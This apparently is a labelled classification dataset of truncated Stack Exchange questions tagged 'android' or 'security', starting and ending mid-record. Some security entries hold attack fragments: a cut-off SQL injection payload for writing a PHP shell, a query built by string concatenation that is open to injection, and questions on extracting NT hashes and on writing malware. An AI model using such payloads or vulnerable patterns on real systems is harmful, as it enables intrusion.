others, from a list of my definition. This should be done in every possible text edit field, inline. Ideally I ... ",['android'] "Title: How do I turn Google Play Books pages with Voice? Body: I use Google Play Books a lot, especially for tech books and programming etc. Is there any way I can turn pages of an app, specifically Google Play Books, using my voice? ",['android'] "Title: Kindle Fire Install - Alternate download site Body: I need to install Trello on my Kindle Fire. Google Play does not ""Play Well"" with Kindle. Is there an alternate location where I can download the app for manual install? ",['android'] "Title: Pressing MENU button pops up voice search Body: I am using LG-P509 with Android 2.2.2.. from last week on pressing the MENU button, I get the ""Voice search"" app opened up. Be it in home page or in any application. This gives trouble as I couldn't ... ",['android'] "Title: Galaxy Tab Multi Device App Installation Body: I am planning on having a few labs of Galaxy Tabs (60+ tabs), and I need a way to manage all of these. Primarily I need a way to automatically install apps on all of these at once. I know there is a ... ",['android'] "Title: How to get full list of apps in play-store [closed] Body: Is there a way to get a list with all the apps in google play? And if so is there a way to find the SDK from any app created there? ",['android'] "Title: Hide Superuser? Body: There are many apps out there that will hide your root su file and this seems to work well enough, but none of them are capable of hiding the Superuser application, not even 'Hide My Root' which ... ",['android'] "Title: Multiplayer Games and Wifi / LAN Body: So at work, 2 of my colleagues also have android handsets: I have an SGS3 (stock, for now) Colleague #1 also has an SGS3 (stock) Colleague #2 has an SGS2 (rooted and ROMd) We have been trying to ... ",['android'] "Title: how to safely remove usb storage? Body: My android 2.3 tablet supports usb. It mounts all usb drives. However there is no mechanism for unmounting in the settings menu. On direct unplugging usb devices, i get notification "" usb mass ... ",['android'] "Title: How to use USB Keyboard and USB Mouse In Android Tablet Simultaneously Body: My Android Tablet is having one Standard USB port and One Micro USB port I use Mini for 3G Dongle..... Tablet is not having Bluetooth. I want to know is it possible to connect mouse and keyboard from ... ",['android'] "Title: Samsung Galaxy GT-S5300B dead / bricked (?) Body: I own a Samsung Galaxy Pocket (GT-S5300B) and, last week, I mistakenly erased a partition issuing the command: cat /dev/block/mmcblk0p1 > /dev/zero (It was either that or /proc/mmcblk0p1, I ... ",['android'] "Title: Modify file without creating a copy [closed] Body: Is it technically possible to edit a file directly and don't create a copy inside the application directory ? I want to annotate an image or a PDF directly but every application saves a copy instead ... ",['android'] "Title: Which market am I currently in? Body: I am on an SGS2 purchased in Germany, located in the UK, sometimes using VPN to the US and have used Market Enabler to change Play Store codes in the past. By now I am confused as to what local market ... ",['android'] "Title: Any way to schedule a passive profile-change? (connectivity, volume etc.) Body: What I am wondering is if there is any way to make Android change its profiles passively from one state to the other at e.g. 3 pm in the afternoon local time: Through Android internally (with some ... ",['android'] "Title: Unable to connect Xperia-Tipo to PC? Body: For last 2 days, I am trying to connect my new Xperia-Tipo phone to PC but unable to connect. My PC's OS is Windows XP - SP3. When I connect to PC, it is asking for PC companion installation. But ... ",['android'] "Title: When I plug my headphones into the Galaxy S 3 it won't let me use Google Play Music Body: It brings up a notification telling me that headphones have been plugged in and gives me about 5 apps to choose from. I can't change these apps and Play Music isn't one of them. How can I use Google ... ",['android'] "Title: Facebook account from nowhere on Android [closed] Body: My second half has updated her smartphone to Android version 4.0.4. All great, except a stupid icons change and the balloons added to the SMS application (I did not like it as well). The biggest ... ",['android'] "Title: Can't get Google Play after flashing firmware Body: I've recently rooted my phone in pursuit of freeing up the internal memory from system apps. I then tried uninstalling Gmail by deleting the file and then trying to reinstall it from the play store ... ",['android'] "Title: How do you root the Samsung Galaxy Player? Body: How can I root my Samsung Galaxy Player 5.0? ",['android'] "Title: Why is bricking possible? Body: No matter how messed up a desktop is, you can always format it and reinstall of a live boot. Why can't you do the same thing with a droid? ",['android'] "Title: listen to radio on xperia ray with wireless headset Body: Does anyone know how I can still listen to the radio on my Xperia ray even with my Novero Rockaway Stereo Bluetooth Headset. I tried inserting a handsfree while connected to the bluetooth headset but ... ",['android'] "Title: Is it possible to disable Google Voice Search headset control in 4.1 Jelly Bean? Body: I flashed my Samsung Galaxy S i9000 with the RemICS-JB 3.0 ROM, and now long-press on my headset is hard-coded to start Google Voice Search, which doesn't interest me. I'd much rather have long-press ... ",['android'] "Title: Charging Micromax Funbook Pro through USB Power Adapator Body: The AC 5V adaptor that came with my Micromax Funbook Pro tablet has become non-functional. Is there a possibility that I can resort to buying a universal USB power adaptor and then plug it into AC ... ",['android'] "Title: Android Jelly Bean: fix search button [duplicate] Body: Possible Duplicate: Samsung Galaxy S3 - after AT&T over the wire update - google search doesn’t find installed apps I just upgraded my Nexus S from Android 4.0.something (I forget the ... ",['android'] "Title: Are hotspots sold inside phones? Body: My idea is this: It would be really convenient if i could buy a smartphone with an integrated mobile hotspot so i dont have to carry around a separate device. So is this sold? if so, by whom and ... ",['android'] "Title: How to reinstall Android on my HTC Explorer using a different language? Body: I have just moved back to England from China where I bought a HTC Explorer. It has issues with Google Play, and its market place is a Chinese version so I want to reinstall the OS to an English ... ",['android'] "Title: How do I expand my Sony Ericsson Xperia Ray internal storage? [duplicate] Body: Possible Duplicate: My internal storage capacity is running low, what can I do? I want to install many apps on my Android phone, but the internal storage is small. How do I expand my Sony ... ",['android'] "Title: Why can't I see the +1 button on some apps in the Play Store app? Body: In the Play Store app, I find the +1 button on some app pages, but not all app pages. For example, Smart Tools and Asphalt 7: Heat are missing the button. Why is this? Interesting: This behavior is ... ",['android'] "Title: why does my GPS not work in Italy without WiFi? Body: Currently travelling at the moment with my Asus Transformer tf300tg. I don't have a sim card in it, but whenever I have WIFI access, I'll download the Google Offline maps and this is convenient cause ... ",['android'] "Title: Android full support offline map [duplicate] Body: Possible Duplicate: Is there an offline maps application for Android? I've been using google offline maps, however there is an issue that we cannot search. Is there any application for ... ",['android'] "Title: How to sync folders via cloud in a Dropbox-like way [duplicate] Body: Possible Duplicate: Complete Dropbox implementation for Android How can I sync as much as possible of the folder-structure of my phone to the cloud, and from there to the desktop in a ... ",['android'] "Title: How to sync contact photos from phone back to google contacts? Body: I have updated my contact photos in my phone and then I wanted to update my google contacts. The sync of contact data is working fine, but the photos aren't being synced. Is there anyway I can fix ... ",['android'] "Title: How do I enter twrp recovery? Body: I unlocked (not rooted) my HTC One XL using official HTC method. Then I install goomanger and installed latest open recovery script TWRP 2.3.0.0 evita. goomanager said that it was installed. Then I ... ",['android'] "Title: ClockworkMod TOUCH problem on Samsung Galaxy S2 with Cyanogenmod 10 Body: Cyanogenmod Clockworkmod TOUCH problem... I have a Samsung Galaxy S2 SIM free (international) with CyanogenMod 10 Nightly which is up to date. I have ROM manager premium installed which I used to ... ",['android'] "Title: Using Tasker to change my mail outgoing server setting when i leave home Body: Can some one tell me if it is possible for Tasker to change my outgoing mail setting in my mail client when i leave my home wifi range. Currently doing it manually which stinks. If it is possible ... ",['android'] "Title: How do I view the “Other folder” on ICS browser? Body: I saved some links on the browser's ""Other folder"". How do I view them? When I go to Bookmarks, all I can see is ""Local"". ",['android'] "Title: Is safe to give my IMEI to LeadBolt to enjoy apps without advertisement? Body: On the LeadBolt opt page you can specify your IMEI number in order to opt out from their service: The IMEI/MEID is a number, usually unique, to identify GSM, WCDMA, and iDEN mobile phones, as ... ",['android'] "Title: How does goomanager work? Body: I want to install custom ROM on my HTC One XL. I have unlocked (not rooted) the phone following the unlock process on www.htcdev.com. Now I installed goomanager which supposed to let me install TWRP ... ",['android'] "Title: The meaning of Androidisms [closed] Body: I see this word around but not sure what it means.? What do people try to say when the use th word Adroidisms? ",['android'] "Title: Why is pressing touch tone keypad not transmitted during calls? Body: Recently, my wife's phone started acting weird in that when connected in a phone call, pressing the touch tone keypad is not working. You can hear the tone being pressed in the speaker, but the other ... ",['android'] "Title: When a browser extension or user script pulls a JS file from Google's CDN, how does this compromise the user's privacy in terms of Google's reach? [duplicate] Body: The context from which my question has arisen is this user script which locally removes ads from Ixquick.com, which is an anonymizing 'proxy' search engine that gives the results from Google's index ... ",['security'] "Title: Can hackers access wireless traffic between me and my ISP? Body: The computer and the router are located inches apart in my study. An Ethernet cable connects the router to the roof antenna. The antenna talks to the ISP, 5 km distant. I know from experience a ... ",['security'] "Title: Windows groups and permissions: Authenticated Users group meaning Body: What is the purpose of the ""Authenticated Users"" group in Windows? Under Linux it doesn't exist and I'm starting to think this is another idiosyncrasy or over-engineering of the Windows operating ... ",['security'] "Title: How do I generate a blowfish password hash in Ubuntu? Body: What's the command line to generate a blowfish password hash? I can't seem to figure this out at all. Apache's htpasswd only supports bcrypt, and openssl passwd doesn't even do blowfish hahes (but it ... ",['security'] "Title: Encrypting All Network Traffic Body: For a corporate network, is there a way to possibly encrypt all network traffic on the local network? I would like to ensure that there is nothing left for chance to be packet sniffed. Not even ... ",['security'] "Title: Storing session key for iOS app Body: For an iOS app that communicates with a RESTful service over HTTPS, should the session key be stored in Keychain or NSUserDefaults? Username and password are stored in Keychain, and it would seem ... ",['security'] "Title: Encrypted files storage. How to simplify the password management scheme? Body: It's probably dublicate but I can't figure out the correct keywords for search. You can help by just telling me those words, I'm rather good with Google :) I want to develop somewhat like file ... ",['security'] "Title: Is there a security reason for a site to limit the number of times a user can change their password? Body: Is there a security reason to disallow a user to change their password as frequently as they want? I have found this security policy in a site and I am not sure why it is enforcing it. One reason I ... ",['security'] "Title: Are GET parameters secure over https? [duplicate] Body: Since GET parameters are passed in the url, how can they be secure from someone with access to network logs. He would be able to see what urls are accessed, even if he cannot see the request and ... ",['security'] "Title: AWS VPC - should connections between instances be over SSL? Body: Say I have a few EC2 instances in an AWS VPC network, each assigned its own private address for the subnet at creation. Say one of them is a DB, and another one some kind of web app talking to the DB. ... ",['security'] "Title: Building access card that has an identification role Body: The main question is should a building access card have the corporate logo on it? In this organization, the employee ID card is separate from building access card. We currently do not have the logo ... ",['security'] "Title: Is it possible to prove which public key was used to encrypt a message? Body: Pretty much the title: If Alice sends a message to Bob that she encrypts with Bob's public key, is it possible for Eve to prove that the ciphertext was encrypted with Bob's public key, that the ... ",['security'] "Title: Sqlmap and multipart/form-data forms Body: I'm working on some security for a website that is built in classic ASP and MS SQL 2000. I've successfully found a couple of flawed forms that allowed SQL injections through the form fields by using ... ",['security'] "Title: How can I misuse the information of DCE service enumeration? Body: Nessus reports almost on any Windows machine ""DCE service enumaration"". With the metasploit module tcp_dcerpc_auditor I get the following information: 192.168.1.23 - UUID ... ",['security'] "Title: What to do with expired certificates as a CA? Body: This and this answer says that ""once a certificate has expired, the CA ceases to keep track of its revocation status"". I'm trying to learn how OpenSSL works as a CA. If I have a revoked expired ... ",['security'] "Title: Serving data from an encrypted database over an encrypted connection Body: There is encrypted data in the database (asymmetric FYI). It is to be viewed as decrypted on the website. The data can be sent to the client as encrypted to be decrypted on the client's computer, or ... ",['security'] "Title: Is there a Security/Privacy risk in storing computers' hardware thumbprint? Body: I'm asking this because according to this article , Microsoft collects much less information than actually exists for Windows licensing (e.g. only 10 bits for MAC addresses, 6 for CPU serial number ... ",['security'] "Title: BitLocker with Windows DPAPI Encryption Key Management Body: Disclaimer: I realize that I posted this question on ServerFault, but I have not received any response there. I am hoping that this forum might be a more appropriate place to post this for a ... ",['security'] "Title: Is there any security benefit of not using email services recently associated with PRISM? Body: After the recent disclosure of several major email providers cooperating with NSA, is there any real security benefit of not using these email services and choose some alternative instead? Such as ... ",['security'] "Title: How is storing an API secret key in plaintext (in a database) secure? Body: The answers to this question Is it okay for API secret to be stored in plain text or decrypt-able? are somewhat unsettling to me. I'm trying to wrap my mind around how storing a secret key in ... ",['security'] "Title: Faster methods for decrypting a TrueCrypt disk, esp. knowing the algorithms used Body: I encrypted (with TrueCrypt) all my hard drives and had the passwords stored in an encrypted file on my USB disk. The passwords are all (except one) 50 character randomly-generated ciphers, there's no ... ",['security'] "Title: Changing User Account Type - User to Guest - File Deleted [closed] Body: One of our staff PC has a problem, the scenarios: Specs: (Alias Names) Company Name: Contoso Staff PC under Domain Alpha PC Name: Contoso1-PC Local Users are: administrators and john User profiles: ... ",['security'] "Title: How to get an NT hash from registry? [closed] Body: I want to manually get the NT hash from the registry (without any tool). Let's say just for the administrator. I know that it must be stored in the SAM area of the registry somewhere so I tried to ... ",['security'] "Title: Is it possible to use Greasemonkey to hack a website? Body: Yesterday my WordPress website got hacked. I thought I had done all necessary things to make it secure. One of my colleagues said that with Greasemonkey we can easily hack sites. Is it true? How can I ... ",['security'] "Title: Detecting Tor proxy by reading request headers Body: I am a newbie to the field of security. As I was trying to explore more about HTTP request and response headers, I came across this website which provides a detailed analysis of the request header ... ",['security'] "Title: Remove RC4 from SSL/TLS ciphers in Chromium Body: Recently I started to live without RC4 within my Firefox session. Discussion about it can be found here. While it is quite easy in Firefox (Enter about:config and then rc4), I found no possibility to ... ",['security'] "Title: Is there a way to verify a binary against the sources? Body: It seems like there is no practical way to verify the full integrity path of precompiled and packaged software? I can check the downloaded package itself by hashes, but I have no verification if the ... ",['security'] "Title: Can the Gmail password be recovered from the Android Gmail app? Body: I have an Android device with the Gmail app installed. This app can access the mailbox so there must be some kind of authentication data stored on the device (possibly an application specific ... ",['security'] "Title: Check integrity of GnuPG inside of GPGTools? Body: Is it possible to check the integrity of the GnuPG files inside of the downloaded installation package of GPGTools? I know how to check the integrity of the .dmg file (compare the SHA1 hash), but I ... ",['security'] "Title: Can you track someone using a proxy? [duplicate] Body: This is past experience, and is not the case anymore since I am a programmer now and have nothing to do with security anymore. However in the past I had a person constantly trying to make comments of ... ",['security'] "Title: Security of remailers Body: A layman's question: If I don't err, with remailers or analogous systems one sends a message to a node of a chain of nodes, which collectively perform the entire transmission. However, the message to ... ",['security'] "Title: Why does OpenSSL need the private key to revoke a certificate? Body: openssl ca -revoke signed/0A.pem -config caconfig.cnf What does this do which requires the CA's private key? Does it do anything except updating index.txt? ",['security'] "Title: SJCL : convert ascii to a BitArray & compute random numbers Body: I am using the Stanford Javascript Crypto library and i'd like more information about it. 1.) I have an ASCII text and a random 128-bit key. I want to concat those two things, so I convert the ASCII ... ",['security'] "Title: How risky is connecting to a hidden wireless network? Body: According to something I spotted something in a set of directions for connecting to a hidden wireless network from windows 8 found here. According to the first paragraph under the ""How do I connect ... ",['security'] "Title: Why was ECMVQ dropped from NSA Suite B? Body: I've found two mentions on Wikipedia that Elliptic Curve Menezes–Qu–Vanstone (ECMVQ) was dropped from NSA's Suite B however they seem to imply different reasons. One mention is preceded by talk of how ... ",['security'] "Title: Is it legal to hack a website that distribute my copyrighted materials? [closed] Body: I sell some .pdf files online. But soon they are all over the web because after someone buys the .pdf and puts it on various websites. Is it legal to hack those websites? Are there other ways to ... ",['security'] "Title: different portscan tools give different results Body: I have different results as of my open TCP ports. When using nmap -sS 127.0.0.1, I get some 5 usual open ports, but when using osx built-in tool as stroke, I get those 5 ports plus 5 extra ports. How ... ",['security'] "Title: Can I develop an SSH client for iPad in Sweden and sell it in Apple App Store? [closed] Body: I wonder, if I am allowed to develop an SSH client for distribution through Apple App Store without breaking any export regulations? I don't really know much about the encryption algorithm. Below is a ... ",['security'] "Title: How this test prove my application is vulnerable to clickjacking attacks? [duplicate] Body: I have downloaded the ""Clickjackingtool"" and done the followings steps. Step 1:- I have opened the clickjackingtool and paste the URL and click GO button(Image 1). Step 2:- I have opened the ... ",['security'] "Title: HKDF and key stretching Body: I thought that all key derivation functions would do a key stretching phase, by iterating some kind of process. But I can't see that process in HKDF. HKDF doesn't do key strengthening? If I have a ... ",['security'] "Title: How to capture wireless data from an intruder using a home router Body: After my house mate experienced consistent ping spikes whilst gaming, he asked me to check/set the wireless router password. I did and I found two intruders from obviously nearby. How can the data ... ",['security'] "Title: Session token is not changed on login? Body: I have logged into my application and I received a session token. When I navigate to another tab, the application pertains the same session token. Is it normal behavior that the session token does ... ",['security'] "Title: How can I interpret openssl speed output? Body: I ran openssl speed on my Ubuntu computer. Some results: Doing md4 for 3s on 16 size blocks: 9063888 md4's in 3.00s Doing md4 for 3s on 64 size blocks: 7105157 md4's in 3.00s Doing md4 for 3s on 256 ... ",['security'] "Title: Regarding cross site scripting? Body: My application has a user management module which uses fields like username, first name, email-id, password,.. . I tried scanning these fields and filling in malicious JavaScript to test for cross ... ",['security'] "Title: How does this test prove my application is vulnerable to clickjacking attacks? Body: I want to know more about clickjacking. I have been reading an article about clickjacking, where the HTML code to test for clickjacking vulnerability was provided. I tried the same as described in ... ",['security'] "Title: Mechanical write-protect USB running OS in RAM hack risk [duplicate] Body: Say you're running Linux in RAM from a USB physical/mechanical write-protected live USB (Kanguru Flashblu2) whose construction I gather is part mechanical and part software, how secure is this sort of ... ",['security'] "Title: Can someone explain a little better what exactly is accomplished by generation of DH parameters? Body: I'm setting up a node.js server: https.createServer({ ... ciphers: 'ECDHE-RSA-AES128-SHA256:AES128-GCM-SHA256:RC4:HIGH:!MD5:!aNULL:!EDH', honorCipherOrder: true }, app).listen(443); ... ",['security'] "Title: How to deal with MySQL's Errcode 13 when trying to write a shell Body: My attack machine is running Kali and the server is running CentOS 6.4 with DVWA. I'm trying to write a shell through an SQL injection. The payload is ' UNION SELECT '', '<?PHP ... ",['security'] "Title: How to protect Linux partition from access from Windows partition? Body: In a dual-boot environment (windows? and linux mint 15) What would be best best way to prevent access to the linux partition(s) when the system is booted into windows 7? The goal would be to ... ",['security'] "Title: What flexibility does a “Third party gamma” offer to U-Prove deployment? Body: The U-Prove SDK has the following comment: (link) // 1: CA-RA split (a party trusted by the issuer provides the gamma value) Given that the Gamma value (if provided) overrides the Attributes value, ... ",['security'] "Title: In U-Prove, what is the purpose of “Pseudonyms”, “Committed”, and “Scope” values and how are they used? Body: U-Prove allows for anonymous authentication and authorization without the involvement of an IdP. When a client generates a presentation proof 3 values can be optionally included, but I can't find ... ",['security'] "Title: Recovering from malware in the registry Body: I'm an intern who writes malware samples to later be tested. A rather basic piece I wrote in C++ kills explorer.exe, taskmgr.exe and repeats this every second. I used a bit of code to add my ... ",['security'] "Title: Why is malwarebytes.org's SSL certificate from someone else? Body: I tried downloading and updating malwarebytes from https://www.malwarebytes.org but their certificate seems to be incorrect. This is the warning: This is probably not the site you are looking for! ... ",['security'] "Title: How to check if your computer has a backdoor installed on it? [closed] Body: Just some time ago I had this unusual popup from Malwarebytes Anti-Malware (MBAM): I did a quick Google of the IP address and found this thread where the OP is complaining of MBAM blocking ... ",['security'] "Title: If hashing is one way, why can we decrypt MD5 hashes? Body: I have read some times that hashing is a one way function, that is you can make the hash of a message, but you can't recover the original message from the hash, just check its integrity. However, if ... ",['security'] "Title: Are there implementations of password hashing algorithms for major frameworks that utilizes specialized hardware like GPUs/FPGAs? Body: It is common knowledge that password cracking attempts can greatly benefit from specialized hardware such as large clusters of GPUs or FPGAs. Are there any implementations of the commonly recommended ... ",['security'] "Title: Is there a tool to verify browser TLS/SSL configuration Body: I am looking for a tool to verify the configuration of ssl/tls settings in the browser. I have found a few sites that enumerate supported ciphers and the preferences but none of them seem to provide ... ",['security'] "Title: Why does AES encryption take more time than decryption? Body: While I was studying the time consumed by some methods I found that encryption take more time than decryption. Is this right? I am using AES (the same steps will be taken during the enc and dec) ",['security'] "Title: Advantages of using a Digital Signature Scheme (DSS) with Appendix instead of DSS giving Message Recovery Body: I've been looking at the EMV draft specification (pdf) for using Eliptic Curve Cryptography in payment cards instead of the currently used RSA. One thing I've noticed is that they've moved from using ... ",['security'] "Title: In what way is a partially encrypted webpage insecure? Body: What are the potential vulnerabilities that might arise if a webpage is only partially encrypted. I can think of 2 possibilities: You can change the non-encrypted parts of the page (HTML, CSS, ... ",['security'] "Title: Are official browser add-ons really safe? Body: Almost any browser addon/extension that I install on my Chrome or Firefox (be it Firebug, RESTClient, ...) warns me, saying: It [the add-on] can: Access your data on all website Access ... ",['security'] "Title: Use Tor when testing on web apps that allow testing & have bounty programs? Body: When testing live web apps that allow / encourage security research & disclosure should I be routing my traffic through Tor? Is there a good reason not to? Does it imply a certain malicious ... ",['security'] "Title: What is the safest way to close a popup window? Body: The internet has many articles recommending ways to close a browser popup window without infecting your computer with malware. I've seen click the red X, use ALT-F4, go to the windows task bar, right ... ",['security'] "Title: Why can't a AES256-encrypted file be decrypted on machine other than the one it was encrypted? [closed] Body: I encrypted a file on my mac using openssl openssl aes-256-cbc -a -salt -in one.jpg -out two.jpg now if I try to decrypt it like that: openssl aes-256-cbc -a -d -salt -in two.jpg -out one.jpg on ... ",['security'] "Title: Taking root ownership Body: Just gonna make this clear first, this is for class! I have an assignment that requires to 1) modify a web server written in Java to accept file uploads and to use this to deface the homepage (did ... ",['security'] "Title: Why does Assembly seem so important in IT security? [duplicate] Body: As I watch a lot of tutorials, read answers, and just in general interact with the IT security community I find that a high percentage of them know assembly. I'm wondering why this percentage is so ... ",['security'] "Title: What is a buffer overflow? Body: I'm learning C in a tutorial and have reached the point where the term ""buffer"" s being mentioned regularly. It has also mentioned how certain bad programming practises involving memory can be ... ",['security'] "Title: ARP Poisoning effects [closed] Body: On a normal data exchange of the address resolution protocol (ARP), which steps of the exchange are affected by the ARP Poisoning attack? If anybody would be able to answer this or show me a link ... ",['security'] "Title: IPTable Security between two servers Body: Is using IPTables to only allow traffic between two servers considered an acceptable practice? For example TCP traffic on a defined port. I realize this is referred to as an ACL but how secure is ... ",['security'] "Title: Performance issues while applying encryption at host or guest level? Body: One of the security expert here suggested me to apply encryption at guest(virtual machine) level rather than applying at host level with good reason. Before applying that I want to know what can be ... ",['security'] "Title: Windows PE file and Malwares Body: Trying to understand how and why any virus, malware, worm and code injections are successful after all in a Windows Portable Executable format. I was going through the PE structure documentation, ... ",['security'] "Title: Store private key on server, then use k1 to log in, k2 to verify HMAC and k3 to decrypt private key Body: I'm working on a proof-of-concept program to encrypt email with less difficulty for end-users with a process like: To create an account: Generate a random salt and IV, and get a password from the ... ",['security'] "Title: If you want to implement a XSS scanner, is it absolutely necessary to use a JS interpreter? Why? Body: In a recent discussion about a security vulnerability scanner that returns false positives for XSS detection, I noticed that the scanner just inject a string like ""this_is_my_string_"" (without the ... ",['security'] "Title: How effective are anti-virus products against real-world threats? Body: In a recent interview† with Dave Kennedy, he in passing pegged the average effectiveness of anti-virus products as detecting approximately 3% to 5% of current active threats. While AV comparisons ... ",['security'] "Title: Can someone scan a website from a remote address and steal users login information? Body: Suppose I have a website such as www.myforum.mysite.com, can an attacker sit down and listen to or scan my forum and get everyones username and password when they try to log in to my forum or site? ... ",['security'] "Title: Is there a known vetted alternative to this key-exchange protocol? Body: I have three participants: A client A in possession of the public key Kpub A login server S in possession of the private key Kpriv Game servers B (B1, B2 etc) S and all B may share a finite number ... ",['security'] "Title: Hosting an “IP Rental” address. Is this common, safe? Body: I have a supposed opportunity to get in with an individual with advertising and a side business of his, renting IP addresses. He has asked me to set a dedicated DSL account at my house. Is there any ... ",['security'] "Title: How to manage passwords in a multi-tenant surrounding? Body: I am building a multi-tenant application in a shared database model. I would like to encrypt sensitive data so that only a particular tenant could have access to his data. What is the best mode to ... ",['security'] "Title: Is it safe to connect mobile devices to rental cars? [duplicate] Body: Many modern cars feature Bluetooth connections and USB ports that allow passengers to connect them with mobile phones and digital music players (and smartphones, which serve as both). Is it safe to ... ",['security'] "Title: Disabling/Destroying CCTV/IP Cameras with Lasers? Body: @D3C4FF has asked a great question and I would like to follow up on that. Basically he had asked whether ""[...] an attacker can identify if a CCTV camera is on/operational without direct physical ... ",['security'] "Title: Asynchronous vs. Synchronous authentication process Body: I'm currently developing a web application using Node.js (server-side JavaScript) and MongoDB (NoSQL database). I'm at the stage where I have to design the authentication and I had a question about ... ",['security'] "Title: LophtCrack version 6.0.12 is not auditing my Administrator password [closed] Body: I am using LophtCrack on my Windows 8 OS. I was testing my password strength and the problem I am seeing it is not working. It doesn't reveal my Admin password, I've run the process for half an hour. ... ",['security'] "Title: What method of secure erase is sufficient for MacBook Pro SSD Drives? [duplicate] Body: I would like to securely erase the hard drive of a SSD in a MacBook Pro. The Disk Utility does not give me the option to wipe this drive even when I boot into the System Partition. (it is greyed ... ",['security'] "Title: Virus Removal Boot Disks — a few questions Body: I'm new to working with and using a backdoor/virus with a boot disk. Can they be mounted to a USB drive? What options are out there and what should I look for in one? Are they practical? Do they ... ",['security'] "Title: Should signature based NIDS detect malicious documents or executable malwares? [duplicate] Body: Two kinds of client side attacks are explained here, offensive-security.com: (1) just binary payloads and (2) exploit+payloads. Is it the responsibility of NIDS to detect them? It is the payload or ... ",['security'] "Title: How to use public WiFi safely? Body: The Dangers of Open Wi-Fi How does one go about sending valuable information (for example inputting email username and password) over a free password-less public WiFi network? The only option that I ... ",['security'] "Title: Backdoors after SQL injection? Body: I just found an injection vulnerability on a live site of a client. It looks like this: $sql = ""SELECT * FROM users_dl WHERE Username = '"" . $Uname . ""' AND Password = '"" . $Pword . ""'""; I ... ",['security'] "Title: How to implement canaries to prevent buffer overflows? Body: This is probably a very basic question. I've read about canaries, and how they work in theory. You have a global variable that you set to a random number in the prolog of a function, do your function, ... ",['security'] "Title: Can the U.S. goverment crack encryption? [closed] Body: Does USA government have the sufficient processing power to crack keys in matter of seconds? Let say 2048-bit RSA, for example. Since the RSA algorithm was developed by USA government (NSA?), I ... ",['security'] "Title: A Secure Email Host Architecture Body: How would one go about creating a secure email architecture? I'm thinking specifically about protecting email from routine surveillance from oppressive regimes and corporations. I had a think about ... ",['security'] "Title: Can I use the same password both for SRP and for client-side encryption? Body: Suppose a less-than-trusted server is used to store users' confidential data (encrypted at the client side), and both tasks - authentication and encryption/decryption - should be doable with a single ... ",['security'] "Title: Files deleted by some Employee . How to find what time it happened and whether done from another computer on network? [closed] Body: My Files got deleted by any Employee . How to find what time it happened and whether done from another computer on network ? The files were in shared drive in the computer. I am using windows 8. What ... ",['security'] "Title: Guest user on Mac Book Pro is suddenly on. Was I hacked? Body: Today I restarted my Mac book Pro and the guest user was on when has always been off before. ",['security'] "Title: Unknown Asian/Chinese registry keys Body: On a Windows Server 2008 machine found registry key ""潓瑦慷敲卜湹潣敶祲"" under HKEY_CURRENT_USER of the administrator account. It contains a value ""敓癲捩剥湵楮杮"" of type REG_DWORD which is set to 0. I scanned the ... ",['security'] "Title: Is the fact that Tor's development is largely government funded cause for concern? Body: In light of recent events, I've been learning more about Tor, and I have a lot of questions. Here's one. Wikipedia's article states; As of 2012, 80% of the Tor Project's $2M annual budget comes ... ",['security'] "Title: Is it secure to use a URL to automatically authenticate to an OAuth-protected API? Body: I'm looking for a way to create a URL that allows a user to login to our application without providing a username and password. We have created an API which is protected using OAuth 2.0. I want to ... ",['security'] "Title: Certificate Chain checking Body: I have a very specific question. A client verifies a sever by taking the certificate and checking specific values and that the digital signature of the intermediate CA is correct (According to the ... ",['security'] "Title: DBus proxy Javascript binding issues Body: Recent Gnome-3 (under GNU/Linux, BSD or other Un*x) offer a gnome shell with nice presentation, but where the configuration and theming are to be done via Internet Browser (and a public URL, on a ... ",['security'] "Title: How can an attacker abuse a distributed system? Body: How can an attacker take advantage of a world where state is eventually consistent and vector clocks are used to settle disagreements? For example, what are the security concerns of using a database ... ",['security'] "Title: Why is the Samy Worm considered XSS? Body: Last night I was browsing notable computer attacks and came across the Samy worm, which apparently affected a huge portion of the MySpace network -- over one million users in under 24 hours, according ... ",['security'] "Title: How to implement shamir's secret sharing algorithm using AES_ENCYRPT Body: I am using MySQL AES_ENCRYTP() and AES_DECRYPT() to store sensitive details in a database, and currently storing the key in a php file outside of the web root with read access only. The key file looks ... ",['security'] "Title: How to prevent CAS from leaking user identity to arbitrary visited websites? Body: Summary evil.example.com could use a hidden frame to request a CAS ticket from corporation.example.net, then validate it to receive the username of the hapless user. This effectively deanonymizes the ... ",['security'] "Title: Secure wiping of EEPROM and flash memory Body: Older magnetic storage exhibited some data remanence, so a recommendation emerged to wipe data by overwriting it multiple times with varying patterns — the “Gutmann wipe”. More recent hard disk ... ",['security'] "Title: Are different top level domains somehow different security wise? Body: If so why is the difference? I've tried to google it but nothing relevant was found. ",['security'] "Title: How does Wuala store symmetric key? Body: As far as I understand Wuala (so called secure cloud storage) is not using the original (user provided) password to encrypt data so what role does original password play in their system? I think they ... ",['security'] "Title: Generating session CSRF token based on SSL session ID Body: Following situation: Application is only accessible via HTTPS/SPDY nginx is sending the SSL session ID to the upstream server Upon session start I'd like to use the first 128 characters of that ... ",['security'] "Title: Emacs and EasyPG not performing public key encryption Body: I have a file which I edit and encrypt following this guide : http://emacs.wordpress.com/2008/07/18/keeping-your-secrets-secret/ I'm a noob as far as security goes and thought that the point of ... ",['security'] "Title: Files to monitor in linux Body: All, I have been googling around for different guides on what files to monitor that people would edit for malicious intent. In my readings so far, i have found the common files people edit. so far i ... ",['security'] "Title: Checklist for securing smtp Body: What are some things, one should know when setting up an SMTP server, which supports ESMTP protocol. I have disabled relaying, and only enabled TLS authenticated transfers. when I telnet to my server, ... ",['security'] "Title: What are the security implications of using TOTP for single factor authentication? Body: (Note: I am not actually planning to do this. This question is strictly theoretical.) TOTP is commonly used as the second factor in Two Factor Authentication. It is an open standard with available ... ",['security'] "Title: How to use VirtualMerchant without PCI-DSS? Body: I want to use Elavon VirtualMerchant to make credit card payments on my website. I don't want to do PCI DSS certifications other than SAQ A, so don't want to process or store card data on my site. I ... ",['security'] "Title: Key distribution and key exchange for simple secure FTP implementation Body: I'm developing a simple secure file transfer protocol for a University project using openssl. I have a Client (let be C) and a Server (let be S). C will send to S messages like get, put, cd, … and S ... ",['security'] "Title: Can BitTorrent clients be fingerprinted? Body: As https://panopticlick.eff.org/ demonstrates, web browsers are very prone to fingerprinting, both active and passive (often you can fingerprint a web browser by simply monitoring the wire). My ... ",['security'] "Title: Flaws in Crypto Cat Body: I've heard from several people that Crypto Cat has some security flaws. Has anyone performed an analysis of the system and written a whitepaper? I'm curious what the flaws specifically are and what ... ",['security'] "Title: CSRF protection with cookie and AJAX Body: I would like to note that I've read the other question with an embarrassingly similar title and it does not contain an answer to my question. I have not used CodeIgniter as a programmer, but I have ... ",['security'] "Title: Does 